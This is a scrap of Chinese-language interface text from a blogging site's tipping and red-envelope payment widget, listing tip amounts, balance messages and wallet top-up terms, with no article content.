红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

AI小模型

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值